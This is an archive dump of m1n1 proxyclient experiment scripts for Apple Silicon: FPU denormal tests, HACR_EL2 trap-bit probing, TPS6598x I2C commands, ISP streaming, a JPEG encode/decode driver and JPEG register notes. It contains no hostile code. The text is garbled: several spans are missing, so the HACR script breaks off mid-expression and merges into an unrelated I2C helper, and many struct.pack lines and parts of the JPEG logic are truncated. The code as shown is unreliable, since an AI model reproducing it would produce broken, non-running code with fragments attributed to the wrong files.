print("Testing normal mode") u.msr(ACTLR_EL1, ACTLR_DEFAULT) u.msr(AFPCR, 0) u.msr(FPCR, 0) print("FPCR.FZ = 0") test_denormals() u.msr(FPCR, FPCR_FZ) print("FPCR.FZ = 1") test_denormals() print() print("Testing Apple mode") u.msr(ACTLR_EL1, ACTLR_DEFAULT | ACTLR_AFP) u.msr(AFPCR, 0) u.msr(FPCR, 0) print("FPCR.FZ = 0") test_denormals() u.msr(FPCR, FPCR_FZ) print("FPCR.FZ = 1") test_denormals() u.msr(AFPCR, AFPCR_DAZ) print("AFPCR. = 0, 1") test_denormals() u.msr(AFPCR, AFPCR_FTZ) print("AFPCR. = 1, 0") test_denormals() u.msr(AFPCR, AFPCR_FTZ | AFPCR_DAZ) print("AFPCR. = 1, 1") test_denormals() m1n1-1.4.11/proxyclient/experiments/hacr_trap_bits.py000077500000000000000000000057231453754430200226540ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1 import asm code_len = 12 * 16 * 8 + 4 data_len = 8 * 16 * 8 if u.mrs(SPRR_CONFIG_EL1): u.msr(GXF_CONFIG_EL12, 0) u.msr(SPRR_CONFIG_EL12, 0) u.msr(GXF_CONFIG_EL1, 0) u.msr(SPRR_CONFIG_EL1, 0) u.msr(HACR_EL2, 0) hcr = HCR(u.mrs(HCR_EL2)) hcr.TIDCP = 0 hcr.TGE = 0 u.msr(HCR_EL2, hcr.value) u.inst(0xd5033fdf) # isb ACTLR_DEFAULT = 0xc00 ACTLR_AFP = 1 << 5 u.msr(ACTLR_EL1, ACTLR_DEFAULT | ACTLR_AFP) code_buffer = p.malloc(code_len) data_buffer = p.malloc(data_len) template = asm.ARMAsm(""" mov x2, x0 mrs x2, s3_0_c0_c0_0 str x2, [x1], #8 ret """, code_buffer) mov, mrs, st, ret = struct.unpack("4I", template.data) data = [] BAD = 0xacce5515abad1dea AUX = [ ACTLR_EL1, ACTLR_EL2, AFSR0_EL1, AFSR0_EL2, AFSR1_EL1, AFSR1_EL2, AIDR_EL1, AIDR2_EL1, AMAIR_EL1, AMAIR_EL2, APCTL_EL1, APSTS_EL1, ] def test(): u.msr(SPRR_CONFIG_EL1, 1) u.msr(GXF_CONFIG_EL1, 1) u.msr(SPRR_CONFIG_EL12, 1) u.msr(GXF_CONFIG_EL12, 1) for op1 in range(1 << 3): for CRn in (0b1011, 0b1111): mrs0 = mrs | (op1 << 16) | (CRn << 12) insns = [] for CRm in range(1 << 4): for op2 in range(1 << 3): insns.extend((mov, mrs0 | (CRm << 8) | (op2 << 5), st)) insns.append(ret) iface.writemem(code_buffer, struct.pack("<385I", *insns)) p.dc_cvau(code_buffer, code_len) p.ic_ivau(code_buffer, code_len) p.set_exc_guard(GUARD.SILENT | GUARD.SKIP) p.el1_call(code_buffer, BAD, data_buffer) cnt = p.get_exc_count() data = iface.readmem(data_buffer, data_len) d = struct.unpack("<128Q", data) i = 0 for CRm in range(1 << 4): for op2 in range(1 << 3): v = d[i] if v != BAD: yield (3, op1, CRn, CRm, op2) i += 1 for enc in AUX: try: v = u.mrs(enc, call="el1", silent=True) if v != BAD: yield enc except: continue u.msr(GXF_CONFIG_EL12, 0) u.msr(SPRR_CONFIG_EL12, 0) u.msr(GXF_CONFIG_EL1, 0) u.msr(SPRR_CONFIG_EL1, 0) baseline = set(test()) for bit in range(64): print() print ("## HACR_EL2[%d]" % bit) u.msr(HACR_EL2, 1<2b", *i2c_read_reg(addr, reg, 2)) return struct.unpack(">H", data)[0] def i2c_read32(addr, reg): data = struct.pack(">4b", *i2c_read_reg(addr, reg, 4)) return struct.unpack(">I", data)[0] def tps6598x_exec_cmd(addr, cmd, data_in, out_len): if data_in: data = [len(data_in)] + data_in # TPS_REG_DATA1 i2c_write_reg(addr, 0x09, data) # TPS_REG_CMD1 cmd = [4] + list(map(ord, cmd)) i2c_write_reg(addr, 0x08, cmd) # TPS_REG_CMD1 v = i2c_read32(addr, 0x08) while v != 0: if v == 0x21434d44: # !CMD raise Exception("Invalid command!") v = i2c_read32(addr, 0x08) if not out_len: return # TPS_REG_DATA1 return i2c_read_reg(addr, 0x09, out_len) print("make sure to run pmgr_adt_clocks_enable for /arm-io/i2c0 before this script.") # apple-specific command to bring the power state to zero # (or any other value specified as an argument) tps6598x_exec_cmd(0x3f, "SSPS", [0], 0) tps6598x_exec_cmd(0x38, "SSPS", [0], 0) tps6598x_exec_cmd(0x3f, "SWDF", None, 0) tps6598x_exec_cmd(0x3f, "SWSr", None, 0) tps6598x_exec_cmd(0x38, "SWDF", None, 0) tps6598x_exec_cmd(0x38, "SWSr", None, 0) m1n1-1.4.11/proxyclient/experiments/isp.py000077500000000000000000000005471453754430200204620ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.fw.isp_base import ISP from m1n1.fw.isp.isp_vid import ISPFrameReceiver isp = ISP(u) isp.boot() rcver = ISPFrameReceiver(isp) rcver.stream() # Press 'Enter' to exit stream m1n1-1.4.11/proxyclient/experiments/jpeg.py000066400000000000000000001263261453754430200206150ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.hw.dart import DART, DARTRegs from m1n1.hw.jpeg import * from m1n1.utils import * import argparse import struct import time from enum import IntEnum from PIL import Image, ImageDraw def divroundup(val, div): return (val + div - 1) // div def yuv2rgb(y, u, v): y -= 16 u -= 128 v -= 128 y /= 255 u /= 255 v /= 255 r = y + 1.13983 * v g = y - 0.39465 * u - 0.58060 * v b = y + 2.03211 * u r = min(255, max(0, int(r * 255))) g = min(255, max(0, int(g * 255))) b = min(255, max(0, int(b * 255))) return (r, g, b) def rgb2yuv(r, g, b): r /= 255 g /= 255 b /= 255 y = 0.299*r + 0.587*g + 0.114*b u = -0.14713*r - 0.28886*g + 0.436*b v = 0.615*r - 0.51499*g - 0.10001*b y = y * 255 + 16 u = u * 255 + 128 v = v * 255 + 128 y = min(255, max(0, int(y))) u = min(255, max(0, int(u))) v = min(255, max(0, int(v))) return (y, u, v) ap = argparse.ArgumentParser(description='JPEG block experiment') ap.add_argument("--jpeg", dest='which_jpeg', type=str, default='jpeg0', help='which JPEG instance (jpeg0/jpeg1)') g = ap.add_mutually_exclusive_group(required=True) g.add_argument("-e", "--encode", action='store_true') g.add_argument("-d", "--decode", action='store_true') ap.add_argument("--raw-output", type=str, required=False) ap.add_argument("--decode-scale", type=int, required=False, default=1) ap.add_argument("--decode-pixelfmt", type=str, required=False, default='RGBA') ap.add_argument("--decode-rgba-alpha", type=int, required=False, default=255) ap.add_argument("--encode-subsampling", type=str, required=False, default='444') ap.add_argument("--encode-rst-interval", type=int, required=False) ap.add_argument("--encode-pixelfmt", type=str, required=False, default='RGB888') ap.add_argument("input", type=str) ap.add_argument("output", type=str) args = ap.parse_args() # print(args) # Perform necessary pre-parsing if args.decode: assert args.decode_scale in [1, 2, 4, 8] decode_scale = args.decode_scale # FIXME: verify behavior on non-evenly-divisible sizes assert args.decode_pixelfmt in [ 'RGBA', 'BGRA', 'RGB565', 'YUV422-CbYCrY', 'YUV422-YCbYCr', 'YUV422-planar', 'YUV420-planar', 'YUV444-planar', ] pixfmt = args.decode_pixelfmt with open(args.input, 'rb') as f: jpeg_data = f.read() found_sof0 = False jpeg_work = jpeg_data while jpeg_work: seg_marker = struct.unpack(">H", jpeg_work[:2])[0] print(f"Seg {seg_marker:04X}") if seg_marker == 0xFFD8: # SOI jpeg_work = jpeg_work[2:] elif seg_marker == 0xFFDA: # SOS break else: seg_len = struct.unpack(">H", jpeg_work[2:4])[0] assert seg_len >= 2 seg_data = jpeg_work[4:4 + seg_len - 2] jpeg_work = jpeg_work[4 + seg_len - 2:] if seg_marker == 0xFFC0: # SOF0 assert not found_sof0 found_sof0 = True sof0 = struct.unpack(">BHHB", seg_data[:6]) (jpeg_bpp, jpeg_H, jpeg_W, jpeg_components_cnt) = sof0 # it is not yet verified what the requirements are for inputs assert jpeg_bpp == 8 assert jpeg_components_cnt == 1 or jpeg_components_cnt == 3 if jpeg_components_cnt == 1: jpeg_MODE = '400' else: jpeg_components = {} for i in range(jpeg_components_cnt): comp_id, comp_sampling, _ = seg_data[6+3*i:6+3*(i+1)] jpeg_components[comp_id] = comp_sampling assert 1 in jpeg_components comp_Y = jpeg_components[1] assert 2 in jpeg_components comp_Cb = jpeg_components[2] assert 3 in jpeg_components comp_Cr = jpeg_components[3] if (comp_Y, comp_Cb, comp_Cr) == (0x11, 0x11, 0x11): jpeg_MODE = '444' elif (comp_Y, comp_Cb, comp_Cr) == (0x21, 0x11, 0x11): jpeg_MODE = '422' elif (comp_Y, comp_Cb, comp_Cr) == (0x22, 0x11, 0x11): jpeg_MODE = '420' elif (comp_Y, comp_Cb, comp_Cr) == (0x41, 0x11, 0x11): jpeg_MODE = '411' else: # TODO: 422-vertical, others??? # Is it possible to implement them? print("Unsupported subsampling mode") assert False assert found_sof0 print(f"JPEG is {jpeg_W}x{jpeg_H} with subsampling {jpeg_MODE}") if jpeg_MODE == '444' or jpeg_MODE == '400': macroblock_W, macroblock_H = 8, 8 elif jpeg_MODE == '422': macroblock_W, macroblock_H = 16, 8 elif jpeg_MODE == '420': macroblock_W, macroblock_H = 16, 16 elif jpeg_MODE == '411': macroblock_W, macroblock_H = 32, 8 else: assert False # FIXME: Exactly how much extra memory do we need to allocate? surface_W = divroundup(jpeg_W // decode_scale, macroblock_W) * macroblock_W surface_H = divroundup(jpeg_H // decode_scale, macroblock_H) * macroblock_H if pixfmt in ['RGBA', 'BGRA']: BYTESPP = 4 elif pixfmt in ['RGB565', 'YUV422-CbYCrY', 'YUV422-YCbYCr']: BYTESPP = 2 elif pixfmt in ['YUV422-planar', 'YUV420-planar', 'YUV444-planar']: BYTESPP = 1 else: assert False surface_stride = surface_W * BYTESPP surface_sz = surface_stride*surface_H if pixfmt == 'YUV422-planar': P1_MULW = 1 # FIXME UGLY P1_DIVW = 1 P1_DIVH = 1 elif pixfmt == 'YUV420-planar': P1_MULW = 1 P1_DIVW = 1 P1_DIVH = 2 elif pixfmt == 'YUV444-planar': P1_MULW = 2 P1_DIVW = 1 P1_DIVH = 1 if pixfmt in ['YUV422-planar', 'YUV420-planar', 'YUV444-planar']: surface_P1_W = surface_W * P1_MULW // P1_DIVW surface_P1_H = surface_H // P1_DIVH surface_P1_stride = surface_P1_W surface_P1_off = surface_sz surface_sz += surface_P1_stride*surface_P1_H else: surface_P1_stride = 0 surface_P1_off = 0 input_mem_sz = align_up(len(jpeg_data)) print(f"Using size {input_mem_sz:08X} for JPEG data") output_mem_sz = align_up(surface_sz) print(f"Using size {output_mem_sz:08X} for output image") else: assert args.encode_subsampling in ['444', '422', '420', '400'] if args.encode_subsampling == '444' or args.encode_subsampling == '400': macroblock_W, macroblock_H = 8, 8 elif args.encode_subsampling == '422': macroblock_W, macroblock_H = 16, 8 elif args.encode_subsampling == '420': macroblock_W, macroblock_H = 16, 16 else: assert False assert args.encode_pixelfmt in [ 'RGB888', 'RGB101010', 'RGB565', 'YUV10', 'YUV-linear', 'YUV444-planar', 'YUV422-planar', 'YUV420-planar', ] pixfmt = args.encode_pixelfmt # Driver doesn't support this either if pixfmt == 'YUV-linear' and args.encode_subsampling == '444': print("WARNING: This combination does not appear to work!!!") if pixfmt == 'YUV422-planar' and args.encode_subsampling == '444': print("WARNING: This combination does not appear to work!!!") if pixfmt == 'YUV420-planar' and args.encode_subsampling == '444': print("WARNING: This combination does not appear to work!!!") image_data = b'' image_data_P1 = b'' with Image.open(args.input) as im: im_W, im_H = im.size if pixfmt != 'YUV420-planar': for y in range(im_H): for x in range(im_W): r, g, b = im.getpixel((x, y)) if pixfmt == 'RGB888': image_data += struct.pack("BBBB", r, g, b, 255) elif pixfmt == 'RGB101010': image_data += struct.pack("> 3) | ((g >> 2) << 5) | ((b >> 3) << 11)) elif pixfmt == 'YUV10': # absolute garbage color space conversion # for demonstration purposes only y_, u_, v_ = rgb2yuv(r, g, b) image_data += struct.pack("> 5) & 0b111111) << 2 r = ((rgb >> 11) & 0b11111) << 3 a = 255 else: assert False im.putpixel((x, y), (r, g, b, a)) elif pixfmt in ["YUV422-CbYCrY", "YUV422-YCbYCr"]: for y in range(jpeg_H // decode_scale): for x in range(0, jpeg_W // decode_scale, 2): block = output_data[ y*surface_stride + x*BYTESPP: y*surface_stride + (x+2)*BYTESPP] if pixfmt == "YUV422-CbYCrY": cb, y0, cr, y1 = block elif pixfmt == "YUV422-YCbYCr": y0, cb, y1, cr = block r0, g0, b0 = yuv2rgb(y0, cb, cr) r1, g1, b1 = yuv2rgb(y1, cb, cr) im.putpixel((x, y), (r0, g0, b0, 255)) # XXX this really needs some fixing if x+1 < jpeg_W // decode_scale: im.putpixel((x+1, y), (r1, g1, b1, 255)) elif pixfmt == "YUV422-planar": for y in range(jpeg_H // decode_scale): for x in range(jpeg_W // decode_scale): y_ = output_data[y*surface_stride + x] cb = output_data[surface_P1_off + y*surface_P1_stride + x&~1] cr = output_data[surface_P1_off + y*surface_P1_stride + (x&~1)+1] r, g, b = yuv2rgb(y_, cb, cr) im.putpixel((x, y), (r, g, b, 255)) elif pixfmt == "YUV420-planar": for y in range(jpeg_H // decode_scale): for x in range(jpeg_W // decode_scale): y_ = output_data[y*surface_stride + x] cb = output_data[surface_P1_off + (y//2)*surface_P1_stride + x&~1] cr = output_data[surface_P1_off + (y//2)*surface_P1_stride + (x&~1)+1] r, g, b = yuv2rgb(y_, cb, cr) im.putpixel((x, y), (r, g, b, 255)) elif pixfmt == "YUV444-planar": for y in range(jpeg_H // decode_scale): for x in range(jpeg_W // decode_scale): y_ = output_data[y*surface_stride + x] cb = output_data[surface_P1_off + y*surface_P1_stride + x*2] cr = output_data[surface_P1_off + y*surface_P1_stride + x*2+1] r, g, b = yuv2rgb(y_, cb, cr) im.putpixel((x, y), (r, g, b, 255)) else: assert False im.save(args.output) if args.encode: iface.writemem(input_buf_phys, image_data) iface.writemem(input_buf_phys + surface_P1_off, image_data_P1) print("Pixel data uploaded") jpeg.MODE = 0x17f jpeg.REG_0x38 = 0x1 # if not set nothing happens jpeg.REG_0x2c = 0x1 # if not set only header is output jpeg.REG_0x34 = 0x0 # if set output is a JPEG but weird with no footer if args.encode_subsampling == '444': jpeg.CODEC.set(CODEC=E_CODEC._444) elif args.encode_subsampling == '422': jpeg.CODEC.set(CODEC=E_CODEC._422) elif args.encode_subsampling == '420': jpeg.CODEC.set(CODEC=E_CODEC._420) elif args.encode_subsampling == '400': jpeg.CODEC.set(CODEC=E_CODEC._400) else: assert False if BYTESPP_P1 != 0: jpeg.PX_USE_PLANE1 = 1 jpeg.PX_PLANE1_WIDTH = im_W*BYTESPP_P1 - 1 jpeg.PX_PLANE1_HEIGHT = im_H // P1_DIVH - 1 else: jpeg.PX_USE_PLANE1 = 0 jpeg.PX_PLANE1_WIDTH = 0xffffffff jpeg.PX_PLANE1_HEIGHT = 0xffffffff jpeg.PX_PLANE0_WIDTH = im_W*BYTESPP - 1 jpeg.PX_PLANE0_HEIGHT = im_H - 1 jpeg.TIMEOUT = 266000000 jpeg.PX_TILES_W = divroundup(im_W, macroblock_W) jpeg.PX_TILES_H = divroundup(im_H, macroblock_H) if pixfmt in ['RGB888', 'RGB101010', 'YUV10']: if args.encode_subsampling == '444' or args.encode_subsampling == '400': jpeg.PX_PLANE0_TILING_H = 4 jpeg.PX_PLANE0_TILING_V = 8 jpeg.PX_PLANE1_TILING_H = 1 jpeg.PX_PLANE1_TILING_V = 1 elif args.encode_subsampling == '422': jpeg.PX_PLANE0_TILING_H = 8 jpeg.PX_PLANE0_TILING_V = 8 jpeg.PX_PLANE1_TILING_H = 1 jpeg.PX_PLANE1_TILING_V = 1 elif args.encode_subsampling == '420': jpeg.PX_PLANE0_TILING_H = 8 jpeg.PX_PLANE0_TILING_V = 16 jpeg.PX_PLANE1_TILING_H = 0 jpeg.PX_PLANE1_TILING_V = 0 else: assert False elif pixfmt == 'RGB565': if args.encode_subsampling == '444' or args.encode_subsampling == '400': jpeg.PX_PLANE0_TILING_H = 2 jpeg.PX_PLANE0_TILING_V = 8 jpeg.PX_PLANE1_TILING_H = 1 jpeg.PX_PLANE1_TILING_V = 1 elif args.encode_subsampling == '422': jpeg.PX_PLANE0_TILING_H = 4 jpeg.PX_PLANE0_TILING_V = 8 jpeg.PX_PLANE1_TILING_H = 1 jpeg.PX_PLANE1_TILING_V = 1 elif args.encode_subsampling == '420': jpeg.PX_PLANE0_TILING_H = 4 jpeg.PX_PLANE0_TILING_V = 16 jpeg.PX_PLANE1_TILING_H = 0 jpeg.PX_PLANE1_TILING_V = 0 else: assert False elif pixfmt == 'YUV-linear': if args.encode_subsampling == '444' or args.encode_subsampling == '400': jpeg.PX_PLANE0_TILING_H = 2 jpeg.PX_PLANE0_TILING_V = 8 jpeg.PX_PLANE1_TILING_H = 1 jpeg.PX_PLANE1_TILING_V = 1 elif args.encode_subsampling == '422': jpeg.PX_PLANE0_TILING_H = 4 jpeg.PX_PLANE0_TILING_V = 8 jpeg.PX_PLANE1_TILING_H = 1 jpeg.PX_PLANE1_TILING_V = 1 elif args.encode_subsampling == '420': jpeg.PX_PLANE0_TILING_H = 4 jpeg.PX_PLANE0_TILING_V = 16 jpeg.PX_PLANE1_TILING_H = 0 jpeg.PX_PLANE1_TILING_V = 0 else: assert False elif pixfmt == 'YUV444-planar': if args.encode_subsampling == '444' or args.encode_subsampling == '400': jpeg.PX_PLANE0_TILING_H = 1 jpeg.PX_PLANE0_TILING_V = 8 jpeg.PX_PLANE1_TILING_H = 2 jpeg.PX_PLANE1_TILING_V = 8 elif args.encode_subsampling == '422': jpeg.PX_PLANE0_TILING_H = 2 jpeg.PX_PLANE0_TILING_V = 8 jpeg.PX_PLANE1_TILING_H = 4 jpeg.PX_PLANE1_TILING_V = 8 elif args.encode_subsampling == '420': jpeg.PX_PLANE0_TILING_H = 2 jpeg.PX_PLANE0_TILING_V = 16 jpeg.PX_PLANE1_TILING_H = 4 jpeg.PX_PLANE1_TILING_V = 16 else: assert False elif pixfmt == 'YUV422-planar': if args.encode_subsampling == '444' or args.encode_subsampling == '400': jpeg.PX_PLANE0_TILING_H = 1 jpeg.PX_PLANE0_TILING_V = 8 jpeg.PX_PLANE1_TILING_H = 1 jpeg.PX_PLANE1_TILING_V = 8 elif args.encode_subsampling == '422': jpeg.PX_PLANE0_TILING_H = 2 jpeg.PX_PLANE0_TILING_V = 8 jpeg.PX_PLANE1_TILING_H = 2 jpeg.PX_PLANE1_TILING_V = 8 elif args.encode_subsampling == '420': jpeg.PX_PLANE0_TILING_H = 2 jpeg.PX_PLANE0_TILING_V = 16 jpeg.PX_PLANE1_TILING_H = 2 jpeg.PX_PLANE1_TILING_V = 16 else: assert False elif pixfmt == 'YUV420-planar': if args.encode_subsampling == '444' or args.encode_subsampling == '400': jpeg.PX_PLANE0_TILING_H = 1 jpeg.PX_PLANE0_TILING_V = 8 jpeg.PX_PLANE1_TILING_H = 1 jpeg.PX_PLANE1_TILING_V = 4 elif args.encode_subsampling == '422': jpeg.PX_PLANE0_TILING_H = 2 jpeg.PX_PLANE0_TILING_V = 8 jpeg.PX_PLANE1_TILING_H = 2 jpeg.PX_PLANE1_TILING_V = 4 elif args.encode_subsampling == '420': jpeg.PX_PLANE0_TILING_H = 2 jpeg.PX_PLANE0_TILING_V = 16 jpeg.PX_PLANE1_TILING_H = 2 jpeg.PX_PLANE1_TILING_V = 8 else: assert False else: assert False jpeg.PX_PLANE0_STRIDE = surface_stride jpeg.PX_PLANE1_STRIDE = surface_P1_stride if pixfmt in ['RGB888', 'RGB101010', 'RGB565', 'YUV10', 'YUV444-planar']: if args.encode_subsampling in ['422', '420']: jpeg.CHROMA_HALVE_H_TYPE1 = 1 if args.encode_subsampling == '420': jpeg.CHROMA_HALVE_V_TYPE1 = 1 elif pixfmt in ['YUV-linear', 'YUV422-planar']: if args.encode_subsampling == '420': jpeg.CHROMA_HALVE_V_TYPE1 = 1 elif pixfmt == 'YUV420-planar': if args.encode_subsampling in ['422', '444']: jpeg.CHROMA_DOUBLE_V = 1 else: assert False # none of this seems to affect anything???? jpeg.REG_0x94 = 0xc # c/2 for 444; 8/2 for 422; 3/1 for 411; b/2 for 400 jpeg.REG_0x98 = 0x2 jpeg.REG_0x20c = im_W jpeg.REG_0x210 = im_H if pixfmt in ['RGB888', 'RGB101010', 'RGB565']: jpeg.CONVERT_COLOR_SPACE = 1 jpeg.MATRIX_MULT[0].val = 0x4d jpeg.MATRIX_MULT[1].val = 0x96 jpeg.MATRIX_MULT[2].val = 0x1d jpeg.MATRIX_MULT[3].val = 0xffffffd5 jpeg.MATRIX_MULT[4].val = 0xffffffab jpeg.MATRIX_MULT[5].val = 0x80 jpeg.MATRIX_MULT[6].val = 0x80 jpeg.MATRIX_MULT[7].val = 0xffffff95 jpeg.MATRIX_MULT[8].val = 0xffffffeb jpeg.MATRIX_MULT[9].val = 0x0 jpeg.MATRIX_MULT[10].val = 0x80 if pixfmt == 'RGB888': jpeg.ENCODE_PIXEL_FORMAT.set(FORMAT=E_ENCODE_PIXEL_FORMAT.RGB888) elif pixfmt == 'RGB101010': jpeg.ENCODE_PIXEL_FORMAT.set(FORMAT=E_ENCODE_PIXEL_FORMAT.RGB101010) elif pixfmt == 'RGB565': jpeg.ENCODE_PIXEL_FORMAT.set(FORMAT=E_ENCODE_PIXEL_FORMAT.RGB565) elif pixfmt == 'YUV10': jpeg.ENCODE_PIXEL_FORMAT.set(FORMAT=E_ENCODE_PIXEL_FORMAT.YUV10_linear) elif pixfmt == 'YUV-linear': jpeg.ENCODE_PIXEL_FORMAT.set(FORMAT=E_ENCODE_PIXEL_FORMAT.YUV_linear) elif pixfmt in ['YUV444-planar', 'YUV422-planar', 'YUV420-planar']: jpeg.ENCODE_PIXEL_FORMAT.set(FORMAT=E_ENCODE_PIXEL_FORMAT.YUV_planar) else: assert False if pixfmt == 'YUV-linear': jpeg.ENCODE_COMPONENT0_POS = 0 jpeg.ENCODE_COMPONENT1_POS = 1 jpeg.ENCODE_COMPONENT2_POS = 3 jpeg.ENCODE_COMPONENT3_POS = 2 elif pixfmt in ['YUV422-planar', 'YUV420-planar', 'YUV444-planar']: jpeg.ENCODE_COMPONENT0_POS = 0 jpeg.ENCODE_COMPONENT1_POS = 0 jpeg.ENCODE_COMPONENT2_POS = 1 jpeg.ENCODE_COMPONENT3_POS = 3 else: jpeg.ENCODE_COMPONENT0_POS = 0 jpeg.ENCODE_COMPONENT1_POS = 1 jpeg.ENCODE_COMPONENT2_POS = 2 jpeg.ENCODE_COMPONENT3_POS = 3 jpeg.INPUT_START1 = input_buf_iova jpeg.INPUT_START2 = input_buf_iova + surface_P1_off jpeg.INPUT_END = input_buf_iova + input_mem_sz + 7 # NOTE +7 jpeg.OUTPUT_START1 = output_buf_iova jpeg.OUTPUT_START2 = 0xdeadbeef jpeg.OUTPUT_END = output_buf_iova + output_mem_sz jpeg.REG_0x118 = 0x1 jpeg.REG_0x11c = 0x0 jpeg.ENABLE_RST_LOGGING = args.encode_rst_interval is not None jpeg.MODE = 0x16f if args.encode_subsampling == '444': jpeg_subsampling = E_JPEG_IO_FLAGS_SUBSAMPLING._444 elif args.encode_subsampling == '422': jpeg_subsampling = E_JPEG_IO_FLAGS_SUBSAMPLING._422 elif args.encode_subsampling == '420': jpeg_subsampling = E_JPEG_IO_FLAGS_SUBSAMPLING._420 elif args.encode_subsampling == '400': jpeg_subsampling = E_JPEG_IO_FLAGS_SUBSAMPLING._400 else: assert False jpeg.JPEG_IO_FLAGS.set( OUTPUT_8BYTE_CHUNKS_CORRECTLY=1, OUTPUT_MACROBLOCKS_UNFLIPPED_H=1, SUBSAMPLING_MODE=jpeg_subsampling ) jpeg.JPEG_WIDTH = im_W jpeg.JPEG_HEIGHT = im_H if args.encode_rst_interval is not None: jpeg.RST_INTERVAL = args.encode_rst_interval else: jpeg.RST_INTERVAL = 0 jpeg.JPEG_OUTPUT_FLAGS = 0 jpeg.QTBL[0].val = 0xa06e64a0 jpeg.QTBL[1].val = 0xf0ffffff jpeg.QTBL[2].val = 0x78788cbe jpeg.QTBL[3].val = 0xffffffff jpeg.QTBL[4].val = 0x8c82a0f0 jpeg.QTBL[5].val = 0xffffffff jpeg.QTBL[6].val = 0x8caadcff jpeg.QTBL[7].val = 0xffffffff jpeg.QTBL[8].val = 0xb4dcffff jpeg.QTBL[9].val = 0xffffffff jpeg.QTBL[10].val = 0xf0ffffff jpeg.QTBL[11].val = 0xffffffff jpeg.QTBL[12].val = 0xffffffff jpeg.QTBL[13].val = 0xffffffff jpeg.QTBL[14].val = 0xffffffff jpeg.QTBL[15].val = 0xffffffff jpeg.QTBL[16].val = 0xaab4f0ff jpeg.QTBL[17].val = 0xffffffff jpeg.QTBL[18].val = 0xb4d2ffff jpeg.QTBL[19].val = 0xffffffff jpeg.QTBL[20].val = 0xf0ffffff jpeg.QTBL[21].val = 0xffffffff jpeg.QTBL[22].val = 0xffffffff jpeg.QTBL[23].val = 0xffffffff jpeg.QTBL[24].val = 0xffffffff jpeg.QTBL[25].val = 0xffffffff jpeg.QTBL[26].val = 0xffffffff jpeg.QTBL[27].val = 0xffffffff jpeg.QTBL[28].val = 0xffffffff jpeg.QTBL[29].val = 0xffffffff jpeg.QTBL[30].val = 0xffffffff jpeg.QTBL[31].val = 0xffffffff jpeg.QTBL[32].val = 0x01010201 jpeg.QTBL[33].val = 0x01020202 jpeg.QTBL[34].val = 0x02030202 jpeg.QTBL[35].val = 0x03030604 jpeg.QTBL[36].val = 0x03030303 jpeg.QTBL[37].val = 0x07050804 jpeg.QTBL[38].val = 0x0608080a jpeg.QTBL[39].val = 0x0908070b jpeg.QTBL[40].val = 0x080a0e0d jpeg.QTBL[41].val = 0x0b0a0a0c jpeg.QTBL[42].val = 0x0a08080b jpeg.QTBL[43].val = 0x100c0c0d jpeg.QTBL[44].val = 0x0f0f0f0f jpeg.QTBL[45].val = 0x090b1011 jpeg.QTBL[46].val = 0x0f0e110d jpeg.QTBL[47].val = 0x0e0e0e01 jpeg.QTBL[48].val = 0x04040405 jpeg.QTBL[49].val = 0x04050905 jpeg.QTBL[50].val = 0x05090f0a jpeg.QTBL[51].val = 0x080a0f1a jpeg.QTBL[52].val = 0x13090913 jpeg.QTBL[53].val = 0x1a1a1a1a jpeg.QTBL[54].val = 0x0d1a1a1a jpeg.QTBL[55].val = 0x1a1a1a1a jpeg.QTBL[56].val = 0x1a1a1a1a jpeg.QTBL[57].val = 0x1a1a1a1a jpeg.QTBL[58].val = 0x1a1a1a1a jpeg.QTBL[59].val = 0x1a1a1a1a jpeg.QTBL[60].val = 0x1a1a1a1a jpeg.QTBL[61].val = 0x1a1a1a1a jpeg.QTBL[62].val = 0x1a1a1a1a jpeg.QTBL[63].val = 0x1a1a1a1a jpeg.HUFFMAN_TABLE.val = 0x3c jpeg.QTBL_SEL.val = 0xff jpeg.REG_0x0.val = 0x1 jpeg.REG_0x1004.val = 0x1 # FIXME: we don't actually know when it's done time.sleep(1) print(jpeg.STATUS.reg) print(jpeg.PERFCOUNTER.reg) jpeg_out_sz = jpeg.COMPRESSED_BYTES.val print(f"JPEG output is {jpeg_out_sz} bytes") rst_log_n = jpeg.RST_LOG_ENTRIES.val for i in range(rst_log_n): print(f"RST log[{i}] = 0x{jpeg.RSTLOG[i].val:X}") output_data = iface.readmem(output_buf_phys, output_mem_sz) if args.raw_output is not None: with open(args.raw_output, 'wb') as f: f.write(output_data) with open(args.output, 'wb') as f: f.write(output_data[:jpeg_out_sz]) m1n1-1.4.11/proxyclient/experiments/jpeg_doc.md000066400000000000000000000572001453754430200214040ustar00rootroot00000000000000# Apple Silicon JPEG encoder/decoder reverse engineering notes ## General ### REG_0x0 (+0x0000) This register is not fully understood yet. It is set to 1 to kick off an operation. This register appears to be 1 bit wide. It is readable/writable. The driver resets this register to 0. ### REG_0x4 (+0x0004) This register is not understood yet. This register appears to be 1 bit wide. It is readable/writable. The driver resets this register to 0. ### MODE (+0x0008) This register controls the mode of operation of the hardware. The details of this register are not understood yet. This register appears to be 10 bit wide. It is readable/writable. At minimum bits 0x043 need to be set or else reading from some registers above 0x1000 will fault. This register is set to multiple different values throughout the reset process. ### REG_0xc (+0x000C) This register is not understood yet. This register is at least 10 bit wide. It appears to be read-only. The power-up state appears to be 0x200. The driver reads this register and stores the value after an interrupt occurs. ### REG_0x10 (+0x0010) ### REG_0x14 (+0x0014) No access to this register has been observed. This register is at least 11 bit wide. It appears to be read-only. The power-up state appears to be 0x400. ### REG_0x18 (+0x0018) No access to this register has been observed. This register is at least 8 bit wide. It appears to be read-only. The power-up state appears to be 0x55. ### (+0x001C) No access to this register has been observed. It appears to be read-only. The power-up state appears to be 0. ### REG_0x20 (+0x0020) This register is not understood yet. This register appears to be 11 bit wide. It is readable/writable. The driver resets this register to 0xff, and it is written with a 0 after an interrupt occurs. ### STATUS (+0x0024) - bit0: Operation is completed ??? - bit1: Timeout occurred - bit2: Read buffer overflow - bit3: Write buffer overflow - bit4: Codec buffer overflow - bit5: Some kind of error, happens if macroblock settings are messed up - bit6: AXI error - bit7: The driver checks for this after an interrupt, but the meaning is not understood ### CODEC (+0x0028) This register controls how the JPEG data is processed wrt subsampling mode. It affects both encode and decode. - 0 = 4:4:4 - 1 = 4:2:2 - 2 = 4:1:1 - 3 = 4:2:0 - 4 = 